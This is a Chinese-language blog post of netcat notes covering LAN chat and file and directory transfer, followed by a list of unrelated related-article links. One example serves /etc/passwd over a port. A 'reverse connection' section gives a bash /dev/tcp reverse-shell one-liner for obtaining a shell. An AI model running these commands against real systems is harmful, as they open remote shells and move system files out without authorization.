netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。

  现内网中有两台机器:Mac: 192.168.1.109  Kali:192.168.1.110

网络聊天

  Server: 192.168.1.109

      starnight:~ starnight$ nc -l 12345    【服务器监听模式】

  Client:192.168.1.110

      root@kali:~# nc 192.168.1.109 12345   【客户端进行连接】

 这样,在局域网内就能相互进行通讯了。

文件传输

  用nc能够进行文件传输,将要传输的文件重定向某个监听端口,然后另一方连接这个端口的时候,数据就能进行流动,完成文件传输。

发送文件

  Server: 192.168.1.109  

    starnight:test starnight$ nc -l 12345 < /etc/passwd

  Client: 192.168.1.110

    root@kali:~/temp# nc 192.168.1.109 12345 > tmp

  可以看到Mac:192.168.1.109上的/etc/passwd已经传输到Kali上了。

接收文件

  Server:192.168.1.109 

    starnight:test starnight$ nc -l 12345 > tmp

  Client: 192.168.1.110

    root@kali:~/temp# nc 192.168.1.109 12345 < 1.txt

目录传输

  传输目录其实跟传输单个文件是一样的,但是要在传输前将文件进行压缩,通过管道,这样就相当于是单个文件了。我们来看看...

  Server: 192.168.1.109  

    starnight:Desktop starnight$ tar -cvf - test/ | nc -l 4444

  Client: 192.168.1.110

    root@kali:~/temp# nc -n 192.168.1.109 4444 | tar -xvf -    

  在Server将test文件夹打包之后,通过管道重定向到本机的4444端口,Client连接到Server的4444端口,接收数据直接解压,即可得到test目录。

反向连接

  一般来讲,我们最想要的是拿到一个shell,下面我们来看看该怎么做吧。

  Server: 192.168.1.107

    starnight:~ starnight$ nc -lvv 4444      [服务器端监听4444端口,等待反向连接]

  Client: 192.168.1.111

    root@kali:~/temp# /bin/bash -i > /dev/tcp/192.168.1.107/4444 0<&1 2>&1  

就先总结到这吧...

nc使用笔记的更多相关文章

  1. NC入门笔记

    简介: NC(全名NetCat),在网络界有"瑞士军刀"的美誉.它小巧而强悍,被设计成一个稳定的后门工具,能够直接由其它程序和脚本轻松驱动.同时,它也是一个功能强大的网络调试和探测 ...

  2. NC开发笔记指导

    修改端口 InvocationInfoProxy.getInstance().get().getUserCode(); 前台 Nchome F:\JAVA\Projects\ERPEHROA\ufid ...

  3. NC学习笔记

    NC基础技术  一.NC开发基本概念        1.单据:一般是由表头,表体,表位组成.                   表头:一般是一些主信息,例如日期,项目等               ...

  4. vulnhub-DC:4靶机渗透记录

    准备工作 在vulnhub官网下载DC:4靶机https://www.vulnhub.com/entry/dc-4,313/ 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:19 ...

  5. 【Linux学习笔记】用nc实现两台主机间的文件传输(不需要输密码)

    通常,可以用scp完成两台主机间的文件传输任务,但在主机间未建立信任关系的情况下,scp每次都需要输入密码,用起来感觉不是很方便,之前这篇笔记介绍过不用输入密码执行脚本或传输文件的方法,但对于一些临时 ...

  6. NC 6.X笔记(编辑中)

    1.参照多选 写在编辑前事件中 ((UIRefPane) editor.getBillCardPanel().getBodyItem("pk_wa_item").getCompon ...

  7. NC nc5.x笔记(编辑中)

    一.设置卡片界面下 金额字段负数为红色! /** * 设置卡片界面下 金额字段负数为红色! */ private void repaintBodyMoneyColor(){ if(!isListPan ...

  8. 安装storm的一些很乱的笔记

    下面是自己安装和测试storm的一些笔记,比较乱,后续有时间在整理一篇. storm jar all-my-code.jar com.storm.MyTopology arg1 arg2这个命令会运行 ...

  9. 《3D Math Primer for Graphics and Game Development》读书笔记1

    <3D Math Primer for Graphics and Game Development>读书笔记1 本文是<3D Math Primer for Graphics and ...

随机推荐

  1. Java-JDBC.mysql 工具类 读取本地文件配置

    引用 mysql-connector-jav 的jar 配置文件为  database.propertties .  格式如下 driverClass=com.mysql.jdbc.Driver ur ...

  2. vmware 已将该虚拟机配置为使用 64 位客户机操作系统。但是,无法执行 64 位操作。

    错误提示:已将该虚拟机配置为使用 64 位客户机操作系统.但是,无法执行 64 位操作. 此主机支持 Intel VT-x,但 Intel VT-x 处于禁用状态. 如果已在 BIOS/固件设置中禁用 ...

  3. DAY5-Python学习笔记

    1.电子邮件: 邮件历程: 发件人 -> MUA -> MTA -> MTA -> 若干个MTA -> MDA <- MUA <- 收件人编写MUA把邮件发到 ...

  4. [BZOJ4044]Virus synthesis 回文自动机的DP

    4044: [Cerc2014] Virus synthesis Time Limit: 20 Sec  Memory Limit: 128 MB Description Viruses are us ...

  5. c++11 继承构造

    c++11 继承构造 #define _CRT_SECURE_NO_WARNINGS #include <iostream> #include <string> #includ ...

  6. module.exports 、 exports 和 export 、 export default 、 import

    1:commonjs规范 module.exports={a:10,b:20} var test=require('lib/test') console.log(test.a);console.log ...

  7. JDK中的SimpleDateFormat线程非安全

    在JDK中使用SimpleDateFormat的时候都会遇到线程安全的问题,在JDK文档中也说明了该类是线程非安全的,建议对于每个线程都创建一个SimpleDateFormat对象.如下面一个Case ...

  8. Hplsql报错:...HiveSQLExpection:Error while compiling statement:No privilege 'Select' found for inputs {.....}

    实践hplsql时,遇到的问题总结一下,若有不对的地方,欢迎交流. 一.Hplsql简介 hplsql的介绍详见:http://lxw1234.com/archives/2015/09/492.htm ...

  9. 解题:WC 2006 水管局长

    题面 初见LCT,动态最小生成树+链上查询max,具体做法是把边转换成点(LCT只能维护点) 时光倒流,先把最后剩的连起来.然后查询就看链上最大值,修改看看链上最大值是否大于当前边,如果是就断开原来的 ...

  10. MVC3控制器方法获取Form数据方法

    http://www.cnblogs.com/bianlan/archive/2013/01/12/2857310.html 控制器方法获取View页面传送的数据有多种方法,以Edit方法为例: 1. ...